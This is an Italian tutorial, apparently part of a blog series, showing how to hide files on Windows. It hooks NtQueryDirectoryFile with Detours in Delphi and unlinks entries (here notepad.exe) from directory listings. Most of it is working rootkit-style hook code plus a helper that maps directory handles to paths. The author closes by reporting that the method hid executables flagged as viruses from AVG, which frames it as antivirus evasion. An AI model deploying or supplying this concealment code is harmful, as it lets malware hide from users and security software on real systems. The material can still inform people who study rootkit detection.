|
Negli articoli precedenti ho esposto un metodo per nascondere un determinato
processo in esecuzione intercettando l' api nativa NtQuerySystemInformation ed
eliminando il processo in questione dalla lista restituita dalla funzione
medesima. Bene ... ora invece voglio nascondere una cartella o un file. Beehhh
diciamo che la strada da percorrere è praticamente identica: dobbiamo usare l'
api nativa NtQueryDirectoryFile che restituisce informazioni relative al
contenuto di una directory. Anche questa volta utilizziamo, per la dichiarazione
delle api native, la unit Native.pas prelevabile all' indirizzo
http://members.chello.nl/m.vanbrakel2/win32api._zip
Di seguito la diachiarazione dell' api con i commenti sui vari parametri
function NtQueryDirectoryFile(//handle ad un oggetto file che rappresenta una directory;
//per ricavarne il nome si può chiamare NtQueryObject
//passandogli ObjectNameInformation come valore del parametro
//ObjectInformationClass
(*IN*)FileHandle: HANDLE;
//parametro opzionale che specifica l' handle di un oggetto
//di tipo Event che diventa signaled quando l' operazione è
//terminata
(*IN*)Event: HANDLE;
//parametro opzionale che punta ad una funzione da eseguire
//una volta terminata l' operazione
(*IN*)ApcRoutine: PIO_APC_ROUTINE;
//puntatore all' informazione da usare come primo parametro
//della funzione puntata da ApcRoutine
(*IN*)ApcContext: PVOID;
//restituisce lo stato di terminazione della funzione ed
//informazioni riguardo all' operazione
(*OUT*)IoStatusBlock: PIO_STATUS_BLOCK;
//output della funzione
(*OUT*)FileInformation: PVOID;
//dimensione del buffer che dovrà contenere l' output della
//funzione (ossia FileInformation)
(*IN*)FileInformationLength: ULONG;
//tipo di informazione che deve essere restituita:
//per le directory le classi valide sono 1, 2, 3, 12:
//FileDirectoryInformation, // 1
//FileFullDirectoryInformation, // 2
//FileBothDirectoryInformation, // 3
//FileNamesInformation, //12
(*IN*)FileInformationClass: FILE_INFORMATION_CLASS;
//specifica se deve essere restituita nel buffer FileInformation
//un singolo elemento (True) oppure tutti gli elementi (False)
(*IN*)ReturnSingleEntry: ByteBool;
//specifica un eventuale filtro sui nomi dei file in una directory
//ad esempio se si interroga una directory e si pone FileName come
//*.txt, in FileInformation verrà restituito un elenco di
//blocchi di byte ognuno dei quali corrisponde
(*IN*)FileName: PUNICODE_STRING;
//specifica se si deve ricominciare dall' inizio la scansione
//della directory oppure si parte dalla posizione corrente
(*IN*)RestartScan: ByteBool
): NTSTATUS; stdcall;
Questa api viene chiamata tutte le volte che si desidera conoscere il contenuto
di una cartella: quando apriamo una cartella nella shell di windows oppure
eseguiamo il comando dir dalla linea di comando. Come nel caso della
NtQuerySystemInformation, anche qui si ha come output un insieme di blocchi di
byte ognuno dei quali contiene informazioni su un file o una cartella
relativamente ad una data cartella; come nel caso di NtQuerySystemInformation i
primi 4 byte di ogni blocco definiscono la distanza dal blocco corrente al
blocco successivo e nel caso dell' ultimo blocco tale valore è 0. L' output in
questione viene puntato dal parametro FileInformation. In pratica data una
cartella identificata dal suo handle (primo parametro FileHandle) si richiede un
determinato tipo di informazione (parametro FileInformationClass) relativamente
a quella cartella: l' indirizzo a partire dal quale viene scritto il risultato è
definito dal parametro FileInformation. Il parametro FileInformationLength è un
parametro di input ed indica la lunghezza del buffer puntato da FileInformation:
in pratica la funzione che chiama NtQueryDirectoryFile deve allocare la memoria
destinata a contenere il risultato dell' interrogazione effettuata sulla
cartella (dimensione del buffer puntato da FileInformation):
FileInformationLength definisce tale dimensione. Come già detto il tipo di
informazione richiesta sulla cartella in questione è specificato dal parametro
FileInformationClass: la tipologia di tale parametro è la seguente
_FILE_INFORMATION_CLASS = (
FileFiller0,
FileDirectoryInformation, // 1 directory
FileFullDirectoryInformation, // 2 directory
FileBothDirectoryInformation, // 3 directory
FileBasicInformation, // 4
FileStandardInformation, // 5
FileInternalInformation, // 6
FileEaInformation, // 7
FileAccessInformation, // 8
FileNameInformation, // 9
FileRenameInformation, // 10
FileLinkInformation, // 11
FileNamesInformation, // 12 directory
FileDispositionInformation, // 13
FilePositionInformation, // 14
FileFullEaInformation, // 15
FileModeInformation, // 16
FileAlignmentInformation, // 17
FileAllInformation, // 18
FileAllocationInformation, // 19
FileEndOfFileInformation, // 20
FileAlternateNameInformation, // 21
FileStreamInformation, // 22
FilePipeInformation, // 23
FilePipeLocalInformation, // 24
FilePipeRemoteInformation, // 25
FileMailslotQueryInformation, // 26
FileMailslotSetInformation, // 27
FileCompressionInformation, // 28
FileObjectIdInformation, // 29
FileCompletionInformation, // 30
FileMoveClusterInformation, // 31
FileQuotaInformation, // 32
FileReparsePointInformation, // 33
FileNetworkOpenInformation, // 34
FileAttributeTagInformation, // 35
FileTrackingInformation, // 36
FileMaximumInformation);
FILE_INFORMATION_CLASS = _FILE_INFORMATION_CLASS;
PFILE_INFORMATION_CLASS = ^FILE_INFORMATION_CLASS;
il tipo enumerativo _FILE_INFORMATION_CLASS definisce varie tipologie di
informazione prelevabili da un file o da una directory. Le tipologie di
informazione relative alle directory sono la 1, la 2, la 3, a 12 (come si vede
dall' indicazione "directory" di fianco alle singole voci). A seconda del tipo
di informazione richiesta, ogni blocco di byte restituito dalla funzione nel
buffer puntato da FileInformation avrà una struttura differente: di seguito la
struttura di ogni elemento memorizzato nel buffer puntato da FileInformation a
seconda del valore di FileInformationClassFileInformationClass =
FileDirectoryInformation
_FILE_DIRECTORY_INFORMATION = record // Information Class 1
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime: LARGE_INTEGER;
LastAccessTime: LARGE_INTEGER;
LastWriteTime: LARGE_INTEGER;
ChangeTime: LARGE_INTEGER;
EndOfFile: LARGE_INTEGER;
AllocationSize: LARGE_INTEGER;
FileAttributes: ULONG;
FileNameLength: ULONG;
FileName: array [0..0] of WCHAR
end;
FILE_DIRECTORY_INFORMATION = _FILE_DIRECTORY_INFORMATION;
PFILE_DIRECTORY_INFORMATION = ^FILE_DIRECTORY_INFORMATION;
FileInformationClass =
FileFullDirectoryInformation
_FILE_FULL_DIRECTORY_INFORMATION = record // Information Class 2
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime: LARGE_INTEGER;
LastAccessTime: LARGE_INTEGER;
LastWriteTime: LARGE_INTEGER;
ChangeTime: LARGE_INTEGER;
EndOfFile: LARGE_INTEGER;
AllocationSize: LARGE_INTEGER;
FileAttributes: ULONG;
FileNameLength: ULONG;
EaInformationLength: ULONG;
FileName: array [0..0] of WCHAR
end;
FILE_FULL_DIRECTORY_INFORMATION = _FILE_FULL_DIRECTORY_INFORMATION;
PFILE_FULL_DIRECTORY_INFORMATION = ^FILE_FULL_DIRECTORY_INFORMATION;
FileInformationClass =
FileBothDirectoryInformation
_FILE_BOTH_DIRECTORY_INFORMATION = record // Information Class 3
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime: LARGE_INTEGER;
LastAccessTime: LARGE_INTEGER;
LastWriteTime: LARGE_INTEGER;
ChangeTime: LARGE_INTEGER;
EndOfFile: LARGE_INTEGER;
AllocationSize: LARGE_INTEGER;
FileAttributes: ULONG;
FileNameLength: ULONG;
EaInformationLength: ULONG;
AlternateNameLength: UCHAR;
AlternateName: array [0..11] of WCHAR;
FileName: array [0..0] of WCHAR;
end;
FILE_BOTH_DIRECTORY_INFORMATION = _FILE_BOTH_DIRECTORY_INFORMATION;
PFILE_BOTH_DIRECTORY_INFORMATION = ^FILE_BOTH_DIRECTORY_INFORMATION;
FileInformationClass =
FileNamesInformation
_FILE_NAMES_INFORMATION = record // Information Class 12
NextEntryOffset: ULONG;
Unknown: ULONG;
FileNameLength: ULONG;
FileName: array [0..0] of WCHAR;
end;
FILE_NAMES_INFORMATION = _FILE_NAMES_INFORMATION;
PFILE_NAMES_INFORMATION = ^FILE_NAMES_INFORMATION;
Per nascondere un processo abbiamo usato NtQuerySystemInformation ed abbiamo
eliminato dalla lista di blocchi ottenuta, il blocco corrispondente al processo
in questione. Ora faremo la stessa cosa per nascondere un file o una cartella.
Utilizzando la tecnica di Detours andremo ad intercettare le chiamate all' api
NtQueryDirectoryFile modificando il risultato ottenuto in maniera tale da non
far risultare il file o la cartella che si desidera nascondere: di seguito ecco
l' implementazione della funzione che verrà chiamata al posto della
NtQueryDirectoryFile
function DetourNtQueryDirectoryFile(FileHandle: HANDLE;
Event: HANDLE;
ApcRoutine: PIO_APC_ROUTINE;
ApcContext: PVOID;
IoStatusBlock: PIO_STATUS_BLOCK;
FileInformation: PVOID;
FileInformationLength: ULONG;
FileInformationClass: FILE_INFORMATION_CLASS;
ReturnSingleEntry: ByteBool;
FileName: PUNICODE_STRING;
RestartScan: ByteBool
): NTSTATUS; stdcall;
var
i,rl,cp : dword;
pfiledirectoryinformation,
pfiledirectoryinformation_prec: PFILE_DIRECTORY_INFORMATION;
pfilefulldirectoryinformation,
pfilefulldirectoryinformation_prec: PFILE_FULL_DIRECTORY_INFORMATION;
pfilebothdirectoryinformation,
pfilebothdirectoryinformation_prec: PFILE_BOTH_DIRECTORY_INFORMATION;
pfilenamesinformation,
pfilenamesinformation_prec: PFILE_NAMES_INFORMATION;
buf : Pointer;
dim: dword;
Name: string;
NomeDir: string;
begin
result := TrampolineNtQueryDirectoryFile(FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
FileInformation,
FileInformationLength,
FileInformationClass,
ReturnSingleEntry,
FileName,
RestartScan
);
if result <> 0 then
Exit;
case FileInformationClass of
FileDirectoryInformation: (*1*)
begin
cp := 0;
pfiledirectoryinformation_prec := nil;
repeat
pfiledirectoryinformation :=
PFILE_DIRECTORY_INFORMATION(Pointer(dword(FileInformation) + cp));
with pfiledirectoryinformation^ do
begin
if (FileName <> nil) then
begin
//FileNameLength è la dimensione in byte del nome del file (FileName): essendo
//quest' ultimo un pWideChar (ogni carattere = 2 byte) allora il numero
//di caratteri del nome del file sarà dato da FileNameLength div 2)
Name := Copy(WideCharToString(FileName), 1, FileNameLength div 2);
if LowerCase(Name) = 'notepad.exe' then
begin
if cp = 0 then //siamo sul primo elemento
begin
if NextEntryOffset = 0 then
//oltre che essere sul primo elemento siamo anche sull' ultimo
//elemento (cioè l' elencazione contiene un solo elemento)
begin
Result := NTSTATUS($C000000F);
Exit;
end
else
begin
Result := NTSTATUS($C000000F);
Exit;
end;
end;
if NextEntryOffset = 0 then //siamo all' ultimo elemento
begin
if pfiledirectoryinformation_prec <> nil then
pfiledirectoryinformation_prec.NextEntryOffset := 0;
Exit;
end
else //siamo su un elemento interno qualsiasi
begin
pfiledirectoryinformation_prec.NextEntryOffset :=
pfiledirectoryinformation_prec.NextEntryOffset + NextEntryOffset;
end;
end
else
begin
pfiledirectoryinformation_prec := pfiledirectoryinformation;
end;
end;
cp := cp + NextEntryOffset;
end;
until (pfiledirectoryinformation.NextEntryOffset = 0);
end;
FileFullDirectoryInformation: (*2*)
begin
cp := 0;
pfilefulldirectoryinformation_prec := nil;
repeat
pfilefulldirectoryinformation :=
PFILE_FULL_DIRECTORY_INFORMATION(Pointer(dword(FileInformation) + cp));
with pfilefulldirectoryinformation^ do
begin
if (FileName <> nil) then
begin
Name := Copy(WideCharToString(FileName), 1, FileNameLength div 2);
if LowerCase(Name) = 'notepad.exe' then
begin
if cp = 0 then //siamo sul primo elemento
begin
if NextEntryOffset = 0 then
//oltre che essere sul primo elemento siamo anche sull' ultimo
//elemento (cioè l' elencazione contiene un solo elemento)
begin
Result := NTSTATUS($C000000F);
Exit;
end
else
begin
Result := NTSTATUS($C000000F);
Exit;
end;
end;
if NextEntryOffset = 0 then //siamo all' ultimo elemento
begin
if pfilefulldirectoryinformation_prec <> nil then
pfilefulldirectoryinformation_prec.NextEntryOffset := 0;
Exit;
end
else //siamo su un elemento interno qualsiasi
begin
pfilefulldirectoryinformation_prec.NextEntryOffset :=
pfilefulldirectoryinformation_prec.NextEntryOffset + NextEntryOffset;
end;
end
else
begin
pfilefulldirectoryinformation_prec := pfilefulldirectoryinformation;
end;
end;
cp := cp + NextEntryOffset;
end;
until (pfilefulldirectoryinformation.NextEntryOffset = 0);
end;
FileBothDirectoryInformation: (*3*)
begin
cp := 0;
pfilebothdirectoryinformation_prec := nil;
repeat
pfilebothdirectoryinformation :=
PFILE_BOTH_DIRECTORY_INFORMATION(Pointer(dword(FileInformation) + cp));
with pfilebothdirectoryinformation^ do
begin
if (FileName <> nil) then
begin
Name := Copy(WideCharToString(FileName), 1, FileNameLength div 2);
if LowerCase(Name) = 'notepad.exe' then
begin
if cp = 0 then //siamo sul primo elemento
begin
if NextEntryOffset = 0 then
//oltre che essere sul primo elemento siamo anche sull' ultimo
//elemento (cioè l' elencazione contiene un solo elemento)
begin
Result := NTSTATUS($C000000F);
Exit;
end
else
begin
Result := NTSTATUS($C000000F);
Exit;
end;
end;
if NextEntryOffset = 0 then //siamo all' ultimo elemento
begin
if pfilebothdirectoryinformation_prec <> nil then
pfilebothdirectoryinformation_prec.NextEntryOffset := 0;
Exit;
end
else //siamo su un elemento interno qualsiasi
begin
pfilebothdirectoryinformation_prec.NextEntryOffset :=
pfilebothdirectoryinformation_prec.NextEntryOffset + NextEntryOffset;
end;
end
else
begin
pfilebothdirectoryinformation_prec := pfilebothdirectoryinformation;
end;
end;
cp := cp + NextEntryOffset;
end;
until (pfilebothdirectoryinformation.NextEntryOffset = 0);
end;
FileNamesInformation: (*12*)
begin
cp := 0;
pfilenamesinformation_prec := nil;
repeat
pfilenamesinformation :=
PFILE_NAMES_INFORMATION(Pointer(dword(FileInformation) + cp));
with pfilenamesinformation^ do
begin
if (FileName <> nil) then
begin
Name := Copy(WideCharToString(FileName), 1, FileNameLength div 2);
if LowerCase(Name) = 'notepad.exe' then
begin
if cp = 0 then //siamo sul primo elemento
begin
if NextEntryOffset = 0 then
//oltre che essere sul primo elemento siamo anche sull' ultimo
//elemento (cioè l' elencazione contiene un solo elemento)
begin
Result := NTSTATUS($C000000F);
Exit;
end
else
begin
Result := NTSTATUS($C000000F);
Exit;
end;
end;
if NextEntryOffset = 0 then //siamo all' ultimo elemento
begin
if pfilenamesinformation_prec <> nil then
pfilenamesinformation_prec.NextEntryOffset := 0;
Exit;
end
else //siamo su un elemento interno qualsiasi
begin
pfilenamesinformation_prec.NextEntryOffset :=
pfilenamesinformation_prec.NextEntryOffset + NextEntryOffset;
end;
end
else
begin
pfilenamesinformation_prec := pfilenamesinformation;
end;
end;
cp := cp + NextEntryOffset;
end;
until (pfilenamesinformation.NextEntryOffset = 0);
end;
end;
end;
Nell' esempio abbiamo preso in esame i 4 tipi di informazione relativi alle
directory ed abbiamo eliminato dalla lista dei blocchi di byte, quello
corrispondente al file che vogliamo nascondere (nel caso specifico ci siamo
prefissati l' obiettivo di nascondere notepad.exe): o meglio ... non lo abbiamo
eliminato ma abbiamo semplicemente fatto puntare il blocco precedente al blocco
successivo (sommando i valori di NextEntryOffset). Si nota che viene preso in
esame il caso in cui l' elemento che si vuole eliminare sia il primo elemento
della lista: non è un caso frequente in quanto quando viene enumerato il
contenuto di una cartella i primi 2 elementi sono "." (identificativo della
cartella corrente) e ".." (identificativo della cartella superiore). Tuttavia se
apriamo una linea di comando (cmd.exe) e facciamo un "dir" seguito da un nome di
file preciso oppure da un nome di file con carattere jolly (*), l' elemento da
nascondere può effettivamente essere il primo elemento della lista (lo è
sicuramente se si fa ad esempio un "dir notepad.exe"). In tal caso, se la lista
contiene un solo elemento (quindi l' elemento che deve essere nascosto) posso
far restituire alla funzione il valore $C000000F ad indicare che nessun file è
stato trovato: un dir nella linea di comando restituisce "File non trovato". Nel
caso in cui invece non si tratti del primo ed unico elemento ma ci siano altri
elementi dopo, allora devo spostare tutti gli elementi successivi di un numero
di byte pari alla dimensione del primo elemento sovrascrivendolo: tuttavia ho
preferito lasciare tale operazione ad un' altra volta ed anche in questo caso
faccio restituire per farla breve il valore $C000000F.
Un' altra cosa che è importante sottolineare è che il file che si vuole
nascondere verrà nascosto in qualsiasi cartella esso si trovi (infatti non
andiamo a fare nessuna verifica sul nome della cartella di cui vogliamo
prelevare l' informazione. Per fare le cose un pò meglio si dovrebbe ottenere il
nome della cartella e poi nascondere il file solo se si è nella cartella che si
desidera. Come ottenere il nome di una cartella dal suo handle (parametro
FileHandle della funzione NtQueryDirectoryFile)??? Si può utilizzare l' api
nativa NtQueryObject che prende in input un handle di un oggetto qualsiasi
(file, directory, processo, pipe, etc...) e ne restituisce l' informazione
richiesta: tra le verie tipologie di informazione spiccano ObjectNameInformation
ed ObjectTypeInformation che consentono di ottenere rispettivamente il nome ed
il tipo dell' oggetto (in questo caso il nome della directory e "Directory"). Il
problema che rimane a questo punto è che il nome della directory viene espresso
nella forma "\Device\HardDiskVolume1\<percorso cartella>" e non come "c:\<percorso cartella>". Il problema si risolve utilizzando la funzione
QueryDosDevice che dato un nome di device (ad esempio appunto
\Device\HardDiskVolume1) restituisce la lettera che ne identifica il volume (ad
esempio c:\). Ecco allora di seguito la funzione per ottenere il nome di una
directory a partire dal suo handle:
function DirNameFromHandle(dirHandle: THandle): string;
const BUFSIZE = 1024;
var
pObjectNameInformation: POBJECT_NAME_INFORMATION;//Pointer;
ObjectNameInformationLength: ULONG;
NomeDir: string;
pResponse: dword;
rl: dword;
devName: string;
x: LongWord;
DrvLetter: char;
Drv: string;
begin
GetMem(pObjectNameInformation, 10000);
NtQueryObject(dirHandle,
ObjectNameInformation,
pObjectNameInformation,
10000,
@rl);
NomeDir := WideCharToString(pObjectNameInformation.Name.Buffer);
Freemem(pObjectNameInformation);
for DrvLetter:= 'A' to 'Z' do
begin
Drv:= DrvLetter+':';
SetLength(devName, BufSize);
x:= QueryDosDevice(pchar(Drv), pchar(devName), BufSize-1);
SetLength(devName, x-2);
if Pos(devName, NomeDir) <> 0 then
begin
NomeDir:= StringReplace(NomeDir, devName, Drv, []);
break;
end;
end;
result := NomeDir;
end;
A questo punto nella funzione che si sostituirà alla NtQueryDirectoryFile con
la tecnica di Detours basterà eseguire una semplice verifica sul nome della
directory per vedere se si deve proseguire analizzandone il contenuto (la
directory è quella che ci interessa) oppure uscire con un exit in quanto non è
in questa cartella che si trova il file che vogliamo nascondere (o anche non è
in questa cartella che vogliamo nascondere il file). Il sorgente ed il demo consentono di verificare come sia possibile nascondere
notepad.exe nella sua cartella (ossia la cartella di sistema). Se si sposta
notepad.exe in un altra cartella però a quel punto sarà visibile. Come ulteriore
prova ho voluto per curiosità nascondere alcuni eseguibili che vengono
riconosciuti come virus da AVG: ebbene AVG non li rileva più!!! Sorgenti
|